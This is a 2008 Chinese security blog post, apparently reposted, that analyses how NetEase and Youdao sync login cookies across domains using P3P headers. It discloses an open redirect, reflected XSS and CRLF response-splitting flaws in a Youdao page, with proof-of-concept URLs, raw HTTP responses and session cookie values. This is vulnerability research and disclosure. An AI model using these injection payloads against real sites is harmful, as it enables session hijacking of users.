网易跨域实现笔记以及顺便发现的XSS
|
来源:http://hi.baidu.com/aullik5 作者:刺 发布时间:2008-12-24
|
|
因为我认识的朋友里面国内各大网站都有,前两天发了校内网的bug,可是现在多了个校内网的朋友,不太好意思发那些例子。正好不认识网易的人,那就发网易的漏洞做典型吧,也许还能让我们的whitehat社区趁机扩大下。
先说跨域实现的笔记,再讲漏洞。
今天本来不是研究这个跨域实现问题,不过顺道看到了这个,做下笔记,暂时还没想到有什么安全隐患,哪位有创意的朋友可以仔细思考下里面是否存在问题,我也会找时间好好想想。
正常跨域有很多方式,我在精武门的演讲里也例举了很多,比如flash、java、CSSHttpRequest、json、xml等都可以实现跨域,而网站应用里用的比较多的一种方式就是P3P。
通过P3P头来实现跨域写cookie。
“网易”和“有道”之间的跨域就是通过P3P来做的,现在笔记如下。
Step1:
正常登录网易后 POST 到 https://reg.163.com/logins.jsp
服务器返回 HTTP/1.1 200 OK Date: Tue, 23 Dec 2008 08:54:23 GMT Server: Apache Cache-Control: max-age=0 Expires: Tue, 23 Dec 2008 08:54:23 GMT Pragma: No-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Length: 2340 Set-Cookie: NTES_SESS=z.z0QP0gJzxiq7zy2A4U5mUAKCgZ2Jd2yIjDAtYswO392z0Hh2F0SJ42DSO9YATnGca0QfyC8cvumT1Gyf2aWTSB2; domain=.163.com; path=/ Set-Cookie: NETEASE_SSN=testusername; domain=.163.com; path=/; expires=Wed, 23-Dec-2009 08:54:22 GMT Set-Cookie: NETEASE_ADV=11&6&1230022462267; domain=.163.com; path=/; expires=Wed, 23-Dec-2009 08:54:22 GMT Connection: close Content-Type: text/html; charset=UTF-8
......
<script language="JavaScript"> window.location.replace("http://reg.youdao.com/crossdomain.jsp?username=testusername&loginCookie=z.z0QP0gJzxiq7zy2A4U5mUAKCgZ2Jd2yIjDAtYswO392z0Hh2F0SJ42DSO9YATnGca0QfyC8cvumT1Gyf2aWTSB2&url=http%3A%2F%2Freg.163.com%2FMain.jsp%3Fusername%3Dwhq_jimmy");//remain for popo ,don't del </script> <META HTTP-EQUIV=REFRESH CONTENT="0;URL=http://reg.youdao.com/crossdomain.jsp?username=testusername&loginCookie=z.z0QP0gJzxiq7zy2A4U5mUAKCgZ2Jd2yIjDAtYswO392z0Hh2F0SJ42DSO9YATnGca0QfyC8cvumT1Gyf2aWTSB2&url=http%3A%2F%2Freg.163.com%2FMain.jsp%3Fusername%3Dwhq_jimmy">
......
可以看到,登录成功后,首先设置认证后的cookie,目前是设置在163.com域下的。
Step2: 然后跳转到了 http://reg.youdao.com/crossdomain.jsp 同时把认证后的cookie当作参数传了过去,让服务器能够识别
这个页面返回如下: HTTP/1.1 200 OK Date: Tue, 23 Dec 2008 08:54:28 GMT Server: Apache Cache-Control: max-age=0 Expires: Tue, 23 Dec 2008 08:54:28 GMT Pragma: No-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR Content-Length: 2002 Set-Cookie: NTES_SESS=z.z0QP0gJzxiq7zy2A4U5mUAKCgZ2Jd2yIjDAtYswO392z0Hh2F0SJ42DSO9YATnGca0QfyC8cvumT1Gyf2aWTSB2; domain=.youdao.com; path=/ Set-Cookie: URSJESSIONID=a-fW3m6rP7zg; path=/ Connection: close Content-Type: text/html; charset=UTF-8
<html xmlns="http://www.w3.org/1999/xhtml"> <head>
<link rel="stylesheet" href="http://reg.yodao.com/setcookie.jsp?username=testusername&loginCookie=z.z0QP0gJzxiq7zy2A4U5mUAKCgZ2Jd2yIjDAtYswO392z0Hh2F0SJ42DSO9YATnGca0QfyC8cvumT1Gyf2aWTSB2&domain=yodao.com" type="text/css" />
......
<script language="JavaScript"> window.location.replace("http://reg.163.com/Main.jsp?username=testusername");//remain for popo ,don't del </script> <META HTTP-EQUIV=REFRESH CONTENT="0;URL=http://reg.163.com/Main.jsp?username=testusername"> </body> </html>
可以看到,在这一步,加载了一个link标签,实际上是发起了一次GET请求,并在http://reg.yodao.com/setcookie.jsp 这个域下设置cookie
Step3: http://reg.yodao.com/setcookie.jsp 返回
HTTP/1.1 200 OK Date: Tue, 23 Dec 2008 08:54:23 GMT Server: Apache Cache-Control: max-age=0 Expires: Tue, 23 Dec 2008 08:54:23 GMT Cache-Control: private P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR Content-Length: 6 Set-Cookie: NTES_SESS=z.z0QP0gJzxiq7zy2A4U5mUAKCgZ2Jd2yIjDAtYswO392z0Hh2F0SJ42DSO9YATnGca0QfyC8cvumT1Gyf2aWTSB2; domain=.yodao.com; path=/ Set-Cookie: URSJESSIONID=ajtj_23XhC_g; path=/ Connection: close Content-Type: text/html
至此,.163.com,.youdao.com,.yodao.com 都写了认证过了cookie,是通过P3P实现的。
而退出登录的时候也是类似
其中 reg.163.com/Logout.jsp 的返回是 HTTP/1.1 200 OK Date: Tue, 23 Dec 2008 09:15:15 GMT Server: Apache Cache-Control: max-age=0 Expires: Tue, 23 Dec 2008 09:15:15 GMT Content-Length: 520 Set-Cookie: NTES_SESS=; domain=.163.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Set-Cookie: NTES_PASSPORT=; domain=.163.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Connection: close Content-Type: text/html; charset=UTF-8
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <link rel="stylesheet" href="http://reg.yodao.com/clearcookie.jsp?username=test&domain=yodao.com" type="text/css" /> <link rel="stylesheet" href="http://reg.youdao.com/clearcookie.jsp?username=test&domain=youdao.com" type="text/css" />
......
加载的两个”有道“域下的,stylesheet,实现了cookie的删除。
有心的朋友可能已经发现了,上面的URL是经常出现问题的跳转URL
发现有如下漏洞:
1. 跳转到任意域名 (这个POC很简单,替换掉URL就可以了,不细说)
2. XSS漏洞
因为 http://reg.youdao.com/crossdomain.jsp 这个页面返回的结果里有: .....
<script language="JavaScript"> window.location.replace("http://reg.163.com/Main.jsp?username=test");//remain for popo ,don't del </script> <META HTTP-EQUIV=REFRESH CONTENT="0;URL=http://reg.163.com/Main.jsp?username=test"> </body>
......
经过测试后,并没有做什么编码输出,所以此处存在两个跨站
第一个是 DOM XSS:
http://reg.youdao.com/crossdomain.jsp?username=testusername&loginCookie=raqVyBk5lS8BBR03GVt3HvqGirXVyf19e2pBh6.xnTubSrvakSKvOlySBOTb.hd19JEv0ItZNJeVFdP9tISEQdOwS&url=http%3A%2F%2Freg.163.com%2FMain.jsp%3Fusername%3Dtest");alert(1);//
第二个是插入 META 标签的 CONTENT attribute http://reg.youdao.com/crossdomain.jsp?username=testusername&loginCookie=raqVyBk5lS8BBR03GVt3HvqGirXVyf19e2pBh6.xnTubSrvakSKvOlySBOTb.hd19JEv0ItZNJeVFdP9tISEQdOwS&url=http%3A%2F%2Freg.163.com%2FMain.jsp%3Fusername%3Dtest"><script>alert(2);</script><"
3. HTTP Response Splitting
除了页面里的XSS外,还存在CRLF注射攻击,因为这里的 set-Cookie 是从参数里取过来的,而又没有处理 CR和LF,所以存在这种攻击。
我们在这里可以直接注入一个XSS http://reg.youdao.com/crossdomain.jsp?username=test&loginCookie=%0d%0a%0d%0a<script>alert(1);</script>&url=
此时页面的返回 HTTP/1.1 200 OK Date: Tue, 23 Dec 2008 09:36:49 GMT Server: Apache Cache-Control: max-age=0 Expires: Tue, 23 Dec 2008 09:36:49 GMT Pragma: No-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR Content-Length: 1790 Set-Cookie: NTES_SESS=
<script>alert(1);</script>; domain=.youdao.com; path=/ Connection: close Content-Type: text/html; charset=UTF-8
除了这个页面外,其他页面也还有这个问题,不赘述了。
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|